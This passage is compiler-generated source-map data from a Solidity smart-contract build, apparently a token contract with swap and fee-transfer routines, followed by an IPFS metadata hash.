;1744:12;1736:6;;;;1728:29;;;;-1:-1:-1;;;1728:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1768:9:0;1780:5;1784:1;1780;:5;:::i;:::-;1768:17;1622:190;-1:-1:-1;;;;;1622:190:0:o;10865:92::-;10922:10;;:27;;-1:-1:-1;;;;;10922:10:0;;;;:27;;;;;10942:6;;10922:10;:27;:10;:27;10942:6;10922:10;:27;;;;;;;;;;;;;;;;;;;10080:483;5461:6;:13;;-1:-1:-1;;;;5461:13:0;-1:-1:-1;;;5461:13:0;;;10182:16:::1;::::0;;10196:1:::1;10182:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10182:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10182:16:0::1;10158:40;;10227:4;10209;10214:1;10209:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10209:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10253:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10253:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10209:7;;10253:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10243:4;10248:1;10243:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10243:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10318:15:::1;::::0;10286:62:::1;::::0;10303:4:::1;::::0;10318:15:::1;10336:11:::0;10286:8:::1;:62::i;:::-;10359:15;::::0;:196:::1;::::0;-1:-1:-1;;;10359:196:0;;-1:-1:-1;;;;;10359:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10440:11;;10359:15:::1;::::0;10482:4;;10509::::1;::::0;10529:15:::1;::::0;10359:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5497:6:0;:14;;-1:-1:-1;;;;5497:14:0;;;-1:-1:-1;;;;10080:483:0:o;1820:246::-;1878:7;1902:1;1907;1902:6;1898:47;;-1:-1:-1;1932:1:0;1925:8;;1898:47;1955:9;1967:5;1971:1;1967;:5;:::i;:::-;1955:17;-1:-1:-1;2000:1:0;1991:5;1995:1;1955:17;1991:5;:::i;:::-;:10;1983:56;;;;-1:-1:-1;;;1983:56:0;;14019:2:1;1983:56:0;;;14001:21:1;14058:2;14038:18;;;14031:30;14097:34;14077:18;;;14070:62;-1:-1:-1;;;14148:18:1;;;14141:31;14189:19;;1983:56:0;13817:397:1;1983:56:0;2057:1;1820:246;-1:-1:-1;;;1820:246:0:o;2074:132::-;2132:7;2159:39;2163:1;2166;2159:39;;;;;;;;;;;;;;;;;:3;:39::i;9974:98::-;10031:7;10058:1;10056;:3;10055:9;;10063:1;10055:9;;;-1:-1:-1;10061:1:0;9974:98;-1:-1:-1;9974:98:0:o;1291:179::-;1349:7;;1381:5;1385:1;1381;:5;:::i;:::-;1369:17;;1410:1;1405;:6;;1397:46;;;;-1:-1:-1;;;1397:46:0;;14421:2:1;1397:46:0;;;14403:21:1;14460:2;14440:18;;;14433:30;14499:29;14479:18;;;14472:57;14546:18;;1397:46:0;14219:351:1;1478:136:0;1536:7;1563:43;1567:1;1570;1563:43;;;;;;;;;;;;;;;;;:3;:43::i;2214:189::-;2300:7;2335:12;2328:5;2320:28;;;;-1:-1:-1;;;2320:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2359:9:0;2371:5;2375:1;2371;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:134;641:20;;670:31;641:20;670:31;:::i;:::-;573:134;;;:::o;712:315::-;780:6;788;841:2;829:9;820:7;816:23;812:32;809:52;;;857:1;854;847:12;809:52;896:9;883:23;915:31;940:5;915:31;:::i;:::-;965:5;1017:2;1002:18;;;;989:32;;-1:-1:-1;;;712:315:1:o;1406:456::-;1483:6;1491;1499;1552:2;1540:9;1531:7;1527:23;1523:32;1520:52;;;1568:1;1565;1558:12;1520:52;1607:9;1594:23;1626:31;1651:5;1626:31;:::i;:::-;1676:5;-1:-1:-1;1733:2:1;1718:18;;1705:32;1746:33;1705:32;1746:33;:::i;:::-;1406:456;;1798:7;;-1:-1:-1;;;1852:2:1;1837:18;;;;1824:32;;1406:456::o;2056:247::-;2115:6;2168:2;2156:9;2147:7;2143:23;2139:32;2136:52;;;2184:1;2181;2174:12;2136:52;2223:9;2210:23;2242:31;2267:5;2242:31;:::i;2516:127::-;2577:10;2572:3;2568:20;2565:1;2558:31;2608:4;2605:1;2598:15;2632:4;2629:1;2622:15;2648:1121;2732:6;2763:2;2806;2794:9;2785:7;2781:23;2777:32;2774:52;;;2822:1;2819;2812:12;2774:52;2862:9;2849:23;2891:18;2932:2;2924:6;2921:14;2918:34;;;2948:1;2945;2938:12;2918:34;2986:6;2975:9;2971:22;2961:32;;3031:7;3024:4;3020:2;3016:13;3012:27;3002:55;;3053:1;3050;3043:12;3002:55;3089:2;3076:16;3111:2;3107;3104:10;3101:36;;;3117:18;;:::i;:::-;3163:2;3160:1;3156:10;3195:2;3189:9;3258:2;3254:7;3249:2;3245;3241:11;3237:25;3229:6;3225:38;3313:6;3301:10;3298:22;3293:2;3281:10;3278:18;3275:46;3272:72;;;3324:18;;:::i;:::-;3360:2;3353:22;3410:18;;;3444:15;;;;-1:-1:-1;3486:11:1;;;3482:20;;;3514:19;;;3511:39;;;3546:1;3543;3536:12;3511:39;3570:11;;;;3590:148;3606:6;3601:3;3598:15;3590:148;;;3672:23;3691:3;3672:23;:::i;:::-;3660:36;;3623:12;;;;3716;;;;3590:148;;;3757:6;2648:1121;-1:-1:-1;;;;;;;;2648:1121:1:o;3774:388::-;3842:6;3850;3903:2;3891:9;3882:7;3878:23;3874:32;3871:52;;;3919:1;3916;3909:12;3871:52;3958:9;3945:23;3977:31;4002:5;3977:31;:::i;:::-;4027:5;-1:-1:-1;4084:2:1;4069:18;;4056:32;4097:33;4056:32;4097:33;:::i;:::-;4149:7;4139:17;;;3774:388;;;;;:::o;4167:180::-;4226:6;4279:2;4267:9;4258:7;4254:23;4250:32;4247:52;;;4295:1;4292;4285:12;4247:52;-1:-1:-1;4318:23:1;;4167:180;-1:-1:-1;4167:180:1:o;4352:127::-;4413:10;4408:3;4404:20;4401:1;4394:31;4444:4;4441:1;4434:15;4468:4;4465:1;4458:15;4484:416;4573:1;4610:5;4573:1;4624:270;4645:7;4635:8;4632:21;4624:270;;;4704:4;4700:1;4696:6;4692:17;4686:4;4683:27;4680:53;;;4713:18;;:::i;:::-;4763:7;4753:8;4749:22;4746:55;;;4783:16;;;;4746:55;4862:22;;;;4822:15;;;;4624:270;;;4628:3;4484:416;;;;;:::o;4905:806::-;4954:5;4984:8;4974:80;;-1:-1:-1;5025:1:1;5039:5;;4974:80;5073:4;5063:76;;-1:-1:-1;5110:1:1;5124:5;;5063:76;5155:4;5173:1;5168:59;;;;5241:1;5236:130;;;;5148:218;;5168:59;5198:1;5189:10;;5212:5;;;5236:130;5273:3;5263:8;5260:17;5257:43;;;5280:18;;:::i;:::-;-1:-1:-1;;5336:1:1;5322:16;;5351:5;;5148:218;;5450:2;5440:8;5437:16;5431:3;5425:4;5422:13;5418:36;5412:2;5402:8;5399:16;5394:2;5388:4;5385:12;5381:35;5378:77;5375:159;;;-1:-1:-1;5487:19:1;;;5519:5;;5375:159;5566:34;5591:8;5585:4;5566:34;:::i;:::-;5636:6;5632:1;5628:6;5624:19;5615:7;5612:32;5609:58;;;5647:18;;:::i;:::-;5685:20;;4905:806;-1:-1:-1;;;4905:806:1:o;5716:140::-;5774:5;5803:47;5844:4;5834:8;5830:19;5824:4;5803:47;:::i;5861:168::-;5934:9;;;5965;;5982:15;;;5976:22;;5962:37;5952:71;;6003:18;;:::i;6034:356::-;6236:2;6218:21;;;6255:18;;;6248:30;6314:34;6309:2;6294:18;;6287:62;6381:2;6366:18;;6034:356::o;6585:127::-;6646:10;6641:3;6637:20;6634:1;6627:31;6677:4;6674:1;6667:15;6701:4;6698:1;6691:15;7069:251;7139:6;7192:2;7180:9;7171:7;7167:23;7163:32;7160:52;;;7208:1;7205;7198:12;7160:52;7240:9;7234:16;7259:31;7284:5;7259:31;:::i;8246:306::-;8334:6;8342;8350;8403:2;8391:9;8382:7;8378:23;8374:32;8371:52;;;8419:1;8416;8409:12;8371:52;8448:9;8442:16;8432:26;;8498:2;8487:9;8483:18;8477:25;8467:35;;8542:2;8531:9;8527:18;8521:25;8511:35;;8246:306;;;;;:::o;8836:277::-;8903:6;8956:2;8944:9;8935:7;8931:23;8927:32;8924:52;;;8972:1;8969;8962:12;8924:52;9004:9;8998:16;9057:5;9050:13;9043:21;9036:5;9033:32;9023:60;;9079:1;9076;9069:12;11500:125;11565:9;;;11586:10;;;11583:36;;;11599:18;;:::i;11985:135::-;12024:3;12045:17;;;12042:43;;12065:18;;:::i;:::-;-1:-1:-1;12112:1:1;12101:13;;11985:135::o;12477:128::-;12544:9;;;12565:11;;;12562:37;;;12579:18;;:::i;12610:980::-;12872:4;12920:3;12909:9;12905:19;12951:6;12940:9;12933:25;12977:2;13015:6;13010:2;12999:9;12995:18;12988:34;13058:3;13053:2;13042:9;13038:18;13031:31;13082:6;13117;13111:13;13148:6;13140;13133:22;13186:3;13175:9;13171:19;13164:26;;13225:2;13217:6;13213:15;13199:29;;13246:1;13256:195;13270:6;13267:1;13264:13;13256:195;;;13335:13;;-1:-1:-1;;;;;13331:39:1;13319:52;;13426:15;;;;13391:12;;;;13367:1;13285:9;13256:195;;;-1:-1:-1;;;;;;;13507:32:1;;;;13502:2;13487:18;;13480:60;-1:-1:-1;;;13571:3:1;13556:19;13549:35;13468:3;12610:980;-1:-1:-1;;;12610:980:1:o;13595:217::-;13635:1;13661;13651:132;;13705:10;13700:3;13696:20;13693:1;13686:31;13740:4;13737:1;13730:15;13768:4;13765:1;13758:15;13651:132;-1:-1:-1;13797:9:1;;13595:217::o

ipfs://33a61737d8432b9baf4271ba006840b2ef051ec55e9779e2b178980e73d4b754